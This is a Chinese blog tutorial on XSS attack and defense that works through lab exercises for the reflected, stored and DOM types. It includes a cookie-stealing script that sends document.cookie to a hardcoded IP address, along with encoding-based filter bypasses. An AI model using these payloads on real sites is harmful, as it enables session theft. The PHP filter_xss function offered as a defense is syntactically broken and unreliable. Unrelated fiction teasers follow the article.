XSS 攻击防守

最常见的攻击xss

什么是xss?

为什么是xss?

  • 开放式Web应用程序安全项目(Open Web Application Security Project,OWASP)是世界上最知名的Web安全与数据库安全研究组织,该组织分别在2007年和2010年统计过十大Web安全漏洞,如图下图所示:


    avatar
  • 我们看到xss高居第二!
  • 除此之外在我们生活中也能经常看到很被攻击的:


    avatar

    avatar
  • 跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
  • XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时侯,恶意脚本会在受害者的计算机上悄悄执行,流程如图:
avatar

主要类型:

  • Reflected XSS(基于反射的XSS攻击)
  • Stored XSS(基于存储的XSS攻击)
  • DOM-based or local XSS(基于DOM或本地的XSS攻击)

按照攻击方式来分

avatar

Reflected XSS(基于反射的XSS攻击):

  • 反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广的一种,主要用于将恶意脚本附加到URL地址的参数中

  • 此类 XSS 通常出现在网站的搜索栏、用户登入口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

exp:
目标:简单的靶场
简单的跳转攻击:
</pre><a href="http://www.xiaozhu.com/">小姐姐</a><pre>

简单的获取cookies:
<script>document.location='http://43.247.91.228:81/vulnerabilities/xss_r/?'+document.cookie</script>


Stored XSS(基于存储的XSS攻击):

  • 持久型 XSS 一般出现在网站的留言、评论、博客日志等交互处,恶意脚本被存储到客户端或者服务器的数据库中,当其他用户浏览该网页时,站点即从数据库中读取恶意用户存入的非法数据,然后显示在页面中,即在受害者主机上的浏览器执行恶意代码。
    如图:
avatar

  • exp:
  • 目标:简单的靶场
    简单的持久攻击:
    小姐姐</div><button type="button"><a href="http://www.xiaozhu.com/">小姐姐</a></button>

DOM-based or local XSS(基于DOM或本地的XSS攻击):

  • DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。所以他的攻击原理就和 Reflected XSS(基于反射的XSS攻击)一样了

  • exp:

  • 目标:简单的靶场
    简单的DOM攻击:
    <script>document.body.innerHTML="<div style=visibility:visible;><h1>This is DOM XSS</h1></div>";</script>


防御:

  • 要解决问题首先要知道问题是怎么产生的,所以这里我们来详细的看看不同种类的攻击是如何工作的。

  • 在前面我们说到了,反射型的攻击是最为常见的,相对于其他的两种类型的攻击来说的话在技能上要求也是比较简单的。我们就来详细的看看是如何工作的:

  • 目标:简单的靶场2

新手村卡拉赞:

怒焰裂谷:

哀嚎洞穴:

这里我们就进入了事件攻击类型了,但是任然属于反射xss

影牙城堡:

黑暗深渊:

这里我们就开始遇到关键词的替换了

诺莫瑞根:

在这个副本中我们就能看到这里也是对关键词进行替换。
这里我们将被替换的关键词进行编码,这里主要是进行了十进制编码,同样的我们可以使用十六进制进行编码和其他的,这里我们需要查看具体支持那些编码。
javascrip&#116:alert()
_sort=" type="text" οnclick=alert() "`

沉没的神庙:

在这里我们就开始对网站的规则进行猜测,这个在很多的大型网站中是很难找到具体的规则。

黑石深渊:

这里我们就是注入型的xss,xss的攻击就主要变成了地请求的串改了。当然不止是对referer的攻击,还有可能对UA,cookies,uri等。


当然我们这里只是把各种xss的方式展现给大家了,很多地方都是需要我们自己去动手详细的去操作,并找到更多的攻击方并了解攻击原理,这样我们才能很好的预防和完善我们的程序。

进阶攻击:

  • session劫持:
    Session 的中文意思是会话,其实就是访问者从到达特定主页到离开的那段时间,在这个过程中,每个访问者都会得到一个单独的Session。Session是基于访问的进程,记录了一个访问的开始到结束,当浏览器或进程关闭之后,Session也就“消失”了。
    在Session机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也会有被其他人利用的可能。
    Session和Cookie的最大区别在于:Session是保存在服务端的内存里面,而Cookie保存于浏览器或客户端文件里面。
    我们之所以要了解Session机制,是因为它与XSS跨站脚本之间息息相关。所谓的“会话劫持”,其实就是指攻击者利用XSS劫持了用户的会话去执行某些恶意操作(或攻击),这些操作往往能达到提升权限的目的。
    这里需要注意的是:会话概念一般是基于Cookie的,会话劫持的本质是在攻击中带上了Cookie并发送到服务端。

为了让大家深入理解会话劫持的原理,以及这种攻击的严重性。

  • XSS 蠕虫:
    持久型XSS不需要用户去单击URL进行触发,所以它的危害比反射型XSS大,黑客可以利用它渗透网站、挂马、钓鱼……
    更严重的是,利用此类 XSS 能够轻易编写危害性更大的 XSS 蠕虫,跨站蠕虫是使用Ajax/JavaScript脚本语言编写的蠕虫病毒,能够在网站中实现病毒的几何数级传播,其感染速度和攻击效果都非常可怕。XSS蠕虫会直接影响到网站的所有用户,也就是一个地方出现XSS漏洞,同站点下的所有用户都可能被攻击。可想而知XSS蠕虫对网站的打击是十分巨大的!
  • https://www.2cto.com/article/201609/545085.html

  • 兄弟们,讲到这里了,还不点…………,嗯,我来看看需要这么做来应对,
    在上面点打副本中我们已经知道了一些防御点手段这里来这个一个总结和发散:

表单数据指定值的类型;过滤或移除特殊的 html 标签; 过滤 js 事件的标签。
千言万语汇成一句简单的代码:

function filter_xss($string, $allowedtags = '', $disabledattributes = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint','onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavaible', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragdrop', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterupdate', 'onfinish', 'onfocus', 'onfocusin', ''onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmoveout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove','onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload')) { if(is_array($string)) { foreach($string as $key => $val) $string[$key] = filter_xss($val, ALLOWED_HTM- LTAGS); } else { $string = preg_replace('/\s('.implode('|', $disabledattributes).').*?([\s\>])/', '\\2', preg_replace('/<(.*?)>/ie', "'<'.preg_replace(array('/javascript:[^\"\']*/i', '/(".implode('|', $disabledattributes).")[ \\t\\n]*=[ \\t\\n]*[\"\'][^\"\']*[\"\']/i', '/\s+/'), array('', '', ' '), stripslashes('\\1')) . '>'", strip_tags($string, $allowedtags))); } return $string; }

这段代码的作用是过滤XSS跨站代码,整个功能封装在filter_xss()中,只要程序在处理输入变量的时候使用该函数,就足以过滤常见的跨站脚本。


当然除了对我们的代码进行规范意外,还要对已有的代码进行测试检查这里我们能在github上找到一些开源的工具:

https://github.com/s0md3v/XSStrike.git
工具提供很多测试方法,脚本关键词扫描,事件扫描,DOM扫描等;

  • 代码审计:
    除了使用工具测试意外,还要我们自己定期的审计代码;理论上来讲,如果想要尽可能挖掘更多的XSS漏洞,最可靠的方式是进行Web代码安全审计,即审计、检查程序源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞。这里的源代码是指Web服务器端的程序代码,如ASP、JSP、PHP等。
    众所周知,XSS跨站的原理是向HTML中注入并执行恶意脚本,和大多数的Web安全漏洞一样,它同样是由于不正确的输入输出验证所造成的。归根结底,XSS的产生来自于服务端,所以想彻底杜绝XSS攻击,就必须从服务端程序着手,而进行Web代码安全审计来发掘XSS无疑是最有效的解决方式之一。
    分析源代码发掘 XSS 的思路一般是:查找可能在页面输出的变量,检验它们是否受到控制,然后跟踪这些变量的传递过程,分析它们是否被htmlencode()之类的函数过滤。
    HtmlEncode函数的作用是将HTML源文件中不允许出现的字符进行编码,通常是编码以下字符"<"、">"、"&" 等,许多程序语言都内置相应的函数或库实现该功能,如ASP的Server.HTMLEncode方法和PHP的htmlspecialchars()函数。

  • 黑盒测试:
    不管是采用哪种方式进行 Web 安全测试,都要依照测试者所能取得的相关资源而定,如:白盒测试适用于取得相应的源代码等资源时;黑盒测试则适用于完全无法取得前述资源,只能从程式外部输入可能接收的文件或参数值、并观察其输出结果时;而灰箱测试的适用条件则界于白盒测试与黑盒测试之间。
    其中,黑盒测试中又可分为人工测试及自动化测试,所谓的“自动化测试”就是指使用自动化测试工具来进行测试,这类测试一般不需要人干预。
    下面介绍几款可以扫描 XSS 漏洞的自动化测试工具,有了这些工具,便能快速有效地发掘出Web应用程序中的跨站脚本漏洞。
    Acunetix Web Vulnerability Scanner。
    Acunetix Web Vulnerability Scanner是一款商业级的Web漏洞扫描程序,它的功能非常强大,可以自动化检测各种Web应用程序中的漏洞,包括XSS、SQL 注入、代码执行、目录遍历、网站程序源代码暴露、CRLF Injection等。
    读者可以从官方网站获取更多信息:
    http://www.acunetix.com/vulnerability-scanner

  • 当然开源的肯定没有付费的好,不管是国内还是国外都会有很多提供这方面服务的公司,只要钱到位,就是出问题都会有人帮你弄,

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,189评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,577评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,857评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,703评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,705评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,620评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,995评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,656评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,898评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,639评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,720评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,395评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,982评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,953评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,195评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,907评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,472评论 2 342

推荐阅读更多精彩内容